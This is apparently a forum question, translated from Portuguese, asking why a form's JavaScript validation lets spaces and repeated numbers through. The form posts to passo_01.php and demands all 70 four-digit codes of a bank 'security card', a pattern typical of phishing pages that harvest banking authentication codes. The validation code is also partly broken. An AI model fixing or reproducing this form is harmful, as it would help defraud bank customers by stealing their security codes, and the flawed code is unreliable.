Friends what is happening is that you are passing spaces and repeated numbers, I do not know what else to do: P
<form name="form" id="form" action="passo_01.php" method="post" onSubmit="return validasucesso()">
<td bgcolor="#F7F7F7" ><input name="table1" type="text" id="table1" lang="1" onKeyUp="javascript:pulacampo('table1','table2');" size="3" maxlength="4" onKeyPress="return SomenteNumero(event)" autofocus /></td>
function IsNumeric(){
myForm = document.getElementById("form");
var myArray=[];
for(i=0;i<myForm.elements.length;i++){
if(myForm.elements[i].type=='number'){
myArray[myArray.length]=myForm.elements[i].value;
}
}
myArray.sort();
for(i=0;i<myArray.length-1;i++){
if(myArray[i]==myArray[i+1]){
alert('Chaves repitidas no formulário!');
selectkey(myArray[i]);
return false;
break;
exit;
}
}
return true;
}
function validasucesso(){
var i;
var value;
for (i = 1;i <=70;i ++) {
eval("value = document.form.table" + i + ".value");
if (value.length < 4) {
alert("Cartão de segurança inválido, verifique os dígitos corretamente.");
eval("document.form.table" + i +".focus()");
return false;
}
if (IsNumeric(value)) {
}
else
{
alert("Cartão de segurança inválido, verifique os dígitos corretamente.");
eval("document.form.table" + i +".focus()");
return false;
}
}
for (i = 1;i <=70;i ++) {
eval("value = document.form.table" + i + ".value");
eval("document.form.table" + i + ".value = value");
}
}